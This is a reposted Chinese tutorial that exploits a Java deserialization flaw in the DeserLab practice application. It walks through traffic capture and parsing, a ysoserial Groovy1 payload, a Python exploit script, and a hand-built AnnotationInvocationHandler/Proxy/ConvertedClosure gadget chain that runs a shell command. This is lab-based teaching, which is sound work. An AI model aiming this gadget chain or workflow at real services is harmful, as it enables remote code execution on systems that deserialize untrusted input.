閱讀600 返回首頁    go 技術社區[雲棲]


Java反序列化漏洞從理解到實踐

一、前言

在學習新事物時,我們需要不斷提醒自己一點:紙上得來終覺淺,絕知此事要躬行。這也是為什麼我們在學到知識後要付諸實踐的原因所在。在本文中,我們會深入分析大家非常熟悉的Java發序列化漏洞。對我們而言,最好的實踐就是真正理解手頭掌握的知識,並可以根據實際需要加以改進利用。本文的主要內容包括以下兩方麵:

1. 利用某個反序列化漏洞。

2. 自己手動創建利用載荷。

更具體一點,首先我們會利用現有工具來實際操作反序列化漏洞,也會解釋操作的具體含義,其次我們會深入分析載荷相關內容,比如什麼是載荷、如何手動構造載荷等。完成這些步驟後,我們就能充分理解載荷的工作原理,未來碰到類似漏洞時也能掌握漏洞的處理方法。

整個過程中需要用到的工具都會在本文給出,但我建議你先了解一下這個工具:

https://github.com/NickstaDB/DeserLab

該工具包含我們準備實踐的漏洞。之所以選擇使用模擬漏洞而不是實際目標,原因在於我們可以從各個方麵控製這個漏洞,因此也可以更好理解反序列化漏洞利用的工作原理。

二、利用DeserLab漏洞

首先你可以先讀一下Nick寫的這篇文章, 文章中介紹了DeserLab以及Java反序列化相關內容。本文會詳細介紹Java序列化協議的具體細節。閱讀完本文後,你應該可以自己搞定DeserLab環境。接下來我們需要使用各種預編譯jar工具,所以我們可以先從Github上下載這些工具。現在準備步入正題吧。

碰到某個問題後,我通常的做法是先了解目標的正常工作方式。對於DeserLab來說,我們需要做以下幾件事情:

運行服務器及客戶端

抓取通信流量

理解通信流量

我們可以使用如下命令來運行服務器及客戶端:


  1. java -jar DeserLab.jar -server 127.0.0.1 6666 
  2. java -jar DeserLab.jar -client 127.0.0.1 6666 

上述命令的運行結果如下:


  1. java -jar DeserLab.jar -server 127.0.0.1 6666 
  2. [+] DeserServer started, listening on 127.0.0.1:6666 
  3. [+] Connection accepted from 127.0.0.1:50410 
  4. [+] Sending hello... 
  5. [+] Hello sent, waiting for hello from client... 
  6. [+] Hello received from client... 
  7. [+] Sending protocol version... 
  8. [+] Version sent, waiting for version from client... 
  9. [+] Client version is compatible, reading client name... 
  10. [+] Client name received: testing 
  11. [+] Hash request received, hashing: test 
  12. [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6 
  13. [+] Done, terminating connection
  14. java -jar DeserLab.jar -client 127.0.0.1 6666 
  15. [+] DeserClient started, connecting to 127.0.0.1:6666 
  16. [+] Connected, reading server hello packet... 
  17. [+] Hello received, sending hello to server... 
  18. [+] Hello sent, reading server protocol version... 
  19. [+] Sending supported protocol version to the server... 
  20. [+] Enter a client name to send to the server: 
  21. testing 
  22. [+] Enter a string to hash: 
  23. test 
  24. [+] Generating hash of "test"... 
  25. [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6 

上述結果並不是我們想要的信息,我們想問的問題是,這個環境如何實現反序列化功能?為了回答這個問題,我們可以使用wireshark、tcpdump或者tshark來捕捉6666端口上的流量。我們可以使用如下命令,利用tcpdump來捕捉流量:


  1. tcpdump -i lo -n -w deserlab.pcap 'port 6666' 

在繼續閱讀本文之前,你可以先用wireshark來瀏覽一下pcap文件。讀完Nick的文章後,你應該已經了解目前所處的狀況,至少能夠識別出隱藏在流量中的序列化Java對象。

2.1 提取序列化數據

根據這些流量,我們可以肯定的是網絡中有序列化數據正在傳輸,現在讓我們來分析哪些數據正在傳輸。我選擇使用SerializationDumper工具來解析這些流量,這個工具屬於我們要用的工具集之一,作用與jdeserialize類似,後者屬於聞名已久且尚能發揮作用的老工具。在使用這些工具之前,我們需要先準備好待處理數據,因此,我們需要將pcap轉換為可待分析的數據格式。


  1. tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g 

這條命令雖然看起來很長,但至少能正常工作。我們可以將這條命令分解為更好理解的子命令,因為該命令的功能是將pcap數據轉換為經過十六進製編碼的一行輸出字符串。首先,該命令將pcap轉換為文本,文本中隻包含傳輸的數據、TCP源端口號以及目的端口號:


  1. tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, 

結果如下所示:


  1. 50432,,6666 
  2. 6666,,50432 
  3. 50432,,6666 
  4. 50432,aced0005,6666 
  5. 6666,,50432 
  6. 6666,aced0005,50432 

如上述結果所示,在TCP三次握手期間並沒有傳輸數據,因此你可以看到',,'這樣一段文本。隨後,客戶端發送第一個字節,服務器返回ACK報文,然後再發回某些字節數據,以此類推。命令的第二個功能是繼續處理這些文本,根據端口以及每一行的開頭部分來選擇輸出合適的載荷:


  1. | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g 

這條過濾命令會將服務器的響應數據提取出來,如果你想要提取客戶端數據,你需要改變端口號。處理結果如下所示:


  1. aced00057704f000baaa77020101737200146e622e64657365722e486[...] 

這些數據正是我們需要的數據,它將發送和接收數據以較為簡潔的方式表示出來。我們可以使用前麵提到的兩個工具來處理這段數據,首先我們使用的是SerializationDumper,然後我們會再使用jdeserialize。之所以要這麼做,原因在於使用多個工具來處理同一個任務可以便於我們分析潛在的錯誤或問題。如果你堅持使用一個工具的話,你可能會不小心走進錯誤的死胡同。當然嚐試不同的工具本身就是一件非常有趣的事情。

2.2 分析序列化數據

SerializationDumper工具的使用非常簡單直白,我們隻需要將十六進製形式的序列化數據作為第一個參數傳輸進去即可,如下所示:


  1. java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101 

結果如下所示:


  1. STREAM_MAGIC - 0xac ed 
  2. STREAM_VERSION - 0x00 05 
  3. Contents 
  4. TC_BLOCKDATA - 0x77 
  5. Length - 4 - 0x04 
  6. Contents - 0xf000baaa 
  7. TC_BLOCKDATA - 0x77 
  8. Length - 2 - 0x02 
  9. Contents - 0x0101 
  10. TC_OBJECT - 0x73 
  11. TC_CLASSDESC - 0x72 
  12. className 
  13. Length - 20 - 0x00 14 
  14. Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374 

我們需要編譯才能使用jdeserialize工具。編譯任務可以使用[ant](https://ant.apache.org/)以及build.xml文件來完成,我選擇手動編譯方式,具體命令如下:


  1. mkdir build 
  2. javac -d ./build/ src/* 
  3. cd build 
  4. jar cvf jdeserialize.jar * 

上述命令可以生成jar文件,你可以使用如下命令輸出幫助信息以測試jar文件是否已正確生成:


  1. java -cp jdeserialize.jar org.unsynchronized.jdeserialize 

jdeserialize工具需要一個輸入文件,因此我們可以使用python之類的工具將十六進製的序列化數據保存成文件,如下所示(我縮減了十六進製字符串以便閱讀):


  1. open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex')) 

接下來,我們使用待處理文件名作為第一個參數,傳遞給jdeserialize工具,處理結果如下所示:


  1. java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin 
  2. read: [blockdata 0x00: 4 bytes] 
  3. read: [blockdata 0x00: 2 bytes] 
  4. read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; 
  5. //// BEGIN stream content output 
  6. [blockdata 0x00: 4 bytes] 
  7. [blockdata 0x00: 2 bytes] 
  8. nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; 
  9. //// END stream content output 
  10. //// BEGIN class declarations (excluding array classes) 
  11. class nb.deser.HashRequest implements java.io.Serializable { 
  12. java.lang.String dataToHash; 
  13. java.lang.String theHash; 
  14. //// END class declarations 
  15. //// BEGIN instance dump 
  16. [instance 0x7e0002: 0x7e0000/nb.deser.HashRequest 
  17. field data: 
  18. 0x7e0000/nb.deser.HashRequest: 
  19. dataToHash: r0x7e0003: [String 0x7e0003: "test"
  20. theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"
  21. //// END instance dump 

從這兩個分析工具的輸出中,我們首先可以確認的是,這段數據的確是序列化數據。其次,我們可以確認的是,客戶端和服務器之間正在傳輸一個“nb.deser.HashRequest”對象。結合工具的輸出結果以及前麵的wireshark抓包數據,我們可知用戶名以字符串形式存儲在TC_BLOCKDATA類型中進行傳輸:


  1. TC_BLOCKDATA - 0x77 
  2. Length - 9 - 0x09 
  3. Contents - 0x000774657374696e67 
  4. '000774657374696e67'.decode('hex'
  5. '\x00\x07testing' 

現在我們對DeserLab客戶端與服務器之間的通信過程已經非常熟悉,接下來我們可以使用ysoserial工具來利用這個過程。

2.3 利用DeserLab中的漏洞

根據pcap的分析結果以及序列化數據的分析結果,我們已經非常熟悉整個環境的通信過程,因此我們可以構建自己的python腳本,腳本中可以嵌入ysoserial載荷。為了保持代碼的簡潔,也為了匹配wireshark數據流,我決定使用類似wireshark數據流的方式來實現這段代碼,如下所示:


  1. mydeser = deser(myargs.targetip, myargs.targetport) 
  2. mydeser.connect() 
  3. mydeser.javaserial() 
  4. mydeser.protohello() 
  5. mydeser.protoversion() 
  6. mydeser.clientname() 
  7. mydeser.exploit(myargs.payloadfile) 

你可以在這裏找到完整版的代碼。 如你所見,最簡單的方法是將所有java反序列化交換數據硬編碼到代碼中。你可能對代碼的具體寫法有些疑問,比如為什麼`mydeser.exploit(myargs.payloadfile)`位於`mydeser.clientname()`之後,以及我根據什麼來決定代碼的具體位置。因此我想解釋一下我的思考過程,也順便介紹一下如何生成並發送ysoserial載荷。

在讀完有關Java反序列化的幾篇文章之後(見本文的參考資料),我總結了兩點思想:

1、大多數漏洞都與Java對象的反序列化有關。

2、大多數漏洞都與Java對象的反序列化有關。

開個玩笑而已。所以如果我們檢查服務器與客戶端的信息交互過程,我們可以在某個地方找到Java對象的交換過程。我們很容易就能在序列化數據的分析結果中找到這個目標,因為它要麼包含“TC_OBJECT – 0x73”特征,要麼包含如下數據:


  1. //// BEGIN stream content output 
  2. [blockdata 0x00: 4 bytes] 
  3. [blockdata 0x00: 2 bytes] 
  4. [blockdata 0x00: 9 bytes] 
  5. nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;  
  6. //// END stream content output 

從以上輸出中,我們可以看到流數據的最後一部分內容為“nb.deser.HashRequest”對象。讀取這個對象的位置正是交換過程的最後一部分,這也解釋了為什麼漏洞利用函數位於代碼的末尾。現在我們已經知道漏洞利用載荷的存放位置,我們怎麼樣才能生成並發送載荷呢?

DeserLab本身的代碼其實沒有包含任何可利用的東西,具體原因下文會解釋,現在我們隻需要接受這個事實即可。這意味著我們需要查找其他程序庫,從中挖掘能幫助我們的代碼。DeserLab僅僅包含一個Groovy庫,這足以給我們足夠多的提示來生成ysoserial載荷。在現實世界中,我們往往需要親自反匯編未知程序庫,才能尋找到有用的代碼,這些代碼也可以稱為漏洞利用的小工具(gadget)。

掌握庫信息後,載荷的生成就會變得非常簡單,命令如下所示:


  1. java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin 

需要注意的是,載荷發送後不會返回任何響應,因此如果我們想確認載荷是否工作正常,我們需要一些方法來檢測。在實驗環境中,一個ping localhost命令足以,但在實際環境中,我們需要找到更好的方式。

現在萬事俱備,是不是隻需要發送載荷就可以大功告成?差不多是這個樣子,但我們不要忘了Java序列化頭部交換過程在這之前已經完成,這意味著我們需要剔除載荷頭部的前4個字節,然後再發送載荷:


  1. ./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin  
  2. 2017-09-07 22:58:05,401 - INFO - Connecting 
  3. 2017-09-07 22:58:05,401 - INFO - java serialization handshake 
  4. 2017-09-07 22:58:05,403 - INFO - protocol specific handshake 
  5. 2017-09-07 22:58:05,492 - INFO - protocol specific version handshake 
  6. 2017-09-07 22:58:05,571 - INFO - sending name of connected client 
  7. 2017-09-07 22:58:05,571 - INFO - exploiting 

如果一切順利的話,你可以看到如下輸出:


  1. sudo tcpdump -i lo icmp 
  2. tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 
  3. listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes 
  4. 22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64 
  5. 22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64 
  6. 22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64 

非常好,我們成功利用了DeserLab的漏洞。接下來我們需要好好理解一下我們發往DeserLab的載荷的具體內容。

三、手動構建載荷

想要理解載荷的工作原理,最好的方法就是自己手動重建一模一樣的載荷,也就是說,我們需要寫Java代碼。問題是,我們需要從何處開始?正如我們前麵對pcap的分析一樣,我們可以觀察一下序列化載荷。使用如下這條命令,我們可以將載荷轉換為十六進製字符串,然後我們就可以使用SerializationDumper來分析這個字符串,當然如果你喜歡的話,你也可以使用jdeserialize來分析文件。


  1. open('payload.bin','rb').read().encode('hex 

現在我們可以深入分析一下,理解具體的工作過程。話說回來,當理清這些問題後,你可能會找到另一篇文章詳細介紹了整個過程,所以如果願意的話,你可以跳過 這部分內容,直接閱讀這篇文章。接下來的文章著重介紹了我所使用的方法。在我使用的方法中,非常重要的一點就是閱讀ysoserial中關於這個漏洞利用部分的源碼。我不想重複提及這一點,如果你納悶我怎麼找到具體的工作流程,我會讓你去閱讀ysoserial的實現代碼。

將載荷傳給工具處理後,這兩個工具都會生成非常長的輸出信息,包含各種Java類代碼。其中我們主要關注的類是輸出信息中的第一個類,名為“sun.reflect.annotation.AnnotationInvocationHandler”。這個類看起來非常眼熟,因為它是許多反序列利用代碼的入口點。我還注意到其他一些信息,包括“java.lang.reflect.Proxy”、“org.codehaus.groovy.runtime.ConvertedClosure”以及“org.codehaus.groovy.runtime.MethodClosure”。這些類之所以引起我的注意,原因在於它們引用了我們用來利用漏洞的程序庫,此外,網上關於Java反序列化漏洞利用的文章中也提到過這些類,我在ysoserial源碼中也見過這些類。

我們需要注意一個重要概念,那就是當你在執行反序列化攻擊操作時,你發送的實際上是某個對象的“已保存的”狀態。也就是說,你完全依賴於接收端的行為模式,更具體地說,你依賴於接收端在反序列化你發送的“已保存的”狀態時所執行的具體操作。如果另一端沒有調用你所發送的對象中的任何方法,你就無法達到遠程代碼執行目的。這意味著你唯一能改變的隻是操作對象的屬性信息。

理清這些概念後我們可知,如果我們想獲得代碼執行效果,我們所發送的第一個類中的某個方法需要被自動調用,這也解釋了為什麼第一個類的地位如此重要。如果我們觀察AnnotationInvocationHandler的代碼,我們可以看到其構造函數接受一個java.util.map對象,且readObject方法會調用Map對象上的一個方法。如果你閱讀過其他文章,那麼你就會知道,當數據流被反序列化時會自動調用readObject方法。基於這些信息,再從其他文章來源借鑒部分代碼,我們就可以著手構建自己的漏洞利用代碼,如下所示。如果你想理解代碼內容,你可以先參考一下Java中的反射(reflection)機製。


  1. //this is the first class that will be deserialized 
  2.  String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"
  3.  //access the constructor of the AnnotationInvocationHandler class 
  4.  final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; 
  5.  //normally the constructor is not accessible, so we need to make it accessible 
  6.  constructor.setAccessible(true); 

你可以使用如下命令來編譯並運行這段代碼,雖然目前它還沒有什麼實際功能:


  1. javac ManualPayloadGenerateBlog 
  2. java ManualPayloadGenerateBlog 

當你拓展這段代碼的功能時,請牢記以下幾點:

碰到錯誤代碼時請及時Google。

類名需與文件名保持一致。

請熟練掌握Java語言。

上述代碼可以提供可用的初始入口點類以及構造函數,但我們具體需要往構造函數中傳遞什麼參數呢?大多數例子中會使用如下這行代碼:


  1. constructor.newInstance(Override.class, map); 

對於“map”參數我的理解是,首次調用readObject期間會調用map對象的“entrySet”方法。我不是特別明白第一個參數的內部工作機製,但我知道readObject方法內部會檢查這個參數,以確認該參數為“AnnotionType”類型。我們為該參數提供了一個“Override”類,可以滿足類型要求。

現在說到重點了。為了理解程序的工作原理,我們需要注意的是,第二個參數不是一個簡單的Java map對象,而是一個Java代理(Proxy)對象。我第一次接觸到這個事實時也不明白這有什麼具體含義。有一篇[文章](https://www.baeldung.com/java-dynamic-proxies)詳細介紹了Java動態代理(Dynamic Proxies)機製的相關內容,也提供了非常好的示例代碼。文章部分內容摘抄如下:

“ 通過動態代理機製,僅包含1個方法的單一類可以使用多個調用接口為包含任意多個方法的任意類提供服務。動態代理的作用與封裝(Facade)層類似,但你可以把它當成是任意接口的具體實現。拋去外表後,你會發現動態代理會把所有的方法調用導向單獨的一個處理程序,即invoke()方法。 ”

簡單理解的話,代理對象可以假裝成一個Java map對象,然後將所有對原始Map對象的調用導向對另一個類的某個方法的調用。讓我們用一張圖來梳理一下:

這意味著我們可以使用這種Map對象來拓展我們的代碼,如下所示:


  1. final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>); 

需要注意的是,我們仍然需要匹配代碼中的invocationhandler,現在我們還沒填充這個位置。這個位置最終由Groovy來填充,目前為止我們仍停留在普通的Java類範圍內。Groovy之所以適合這個位置,原因在於它包含一個InvocationHandler。因此,當InvocationHandler被調用時,程序最終會引導我們達到代碼執行效果,如下所示:


  1. final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1""execute"), "entrySet"); 
  2. final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure); 

如你所見,上麵代碼中我們在invocationhandler填入了一個ConvertedClosure對象。你可以反編譯Groovy庫來確認這一點,當你觀察ConvertedClosure類時,你可以看到它繼承(extends )自ConversionHandler類,反編譯這個類,你可以看到如下代碼:


  1. public abstract class ConversionHandler 
  2.  implements InvocationHandler, Serializable 

從代碼中我們可知,ConversionHandler實現了InvocationHandler,這也是為什麼我們可以在代理對象中使用它的原因所在。當時我不能理解的是Groovy載荷如何通過Map代理來實現代碼執行。你可以使用反編譯器來查看Groovy庫的代碼,但通常情況下,我發現使用Google來搜索關鍵信息更為有效。比如說,這種情況下,我們可以在Google中搜索如下關鍵詞:


  1. “groovy execute shell command” 

搜索上述關鍵詞後,我們可以找到許多文章來解釋這個問題,比如這篇文章以及這篇文章。這些解釋的要點在於,String對象有一個名為“execute”的附加方法。我經常使用這種查詢方法來處理我不熟悉的那些環境,因為對開發者而言,執行shell命令通常是一個剛需,而相關答案又經常可以在互聯網上找到。理解這一點後,我們可以使用一張圖來完整表達載荷的工作原理,如下所示:

你可以訪問此鏈接獲取完整版代碼,然後使用如下命令編譯並運行這段代碼:


  1. javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java  
  2. java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin 

運行這段代碼後,我們應該能夠得到與ysoserial載荷一樣的結果。令我感到驚奇的是,這些載荷的哈希值竟然完全一樣。


  1. sha256sum payload_ping_localhost.bin payload_manual.bin  
  2. 4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_ping_localhost.bin 
  3. 4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_manual.bin 

感謝大家閱讀本文,希望以後在利用Java反序列化漏洞的過程中,大家也能更好地理解漏洞利用原理。


本文作者:興趣使然的小胃

來源:51CTO

最後更新:2017-11-02 16:04:36

  上一篇:go  深入分析IE地址欄內容泄露漏洞
  下一篇:go  技術前沿:Oracle 18c 最新特性概覽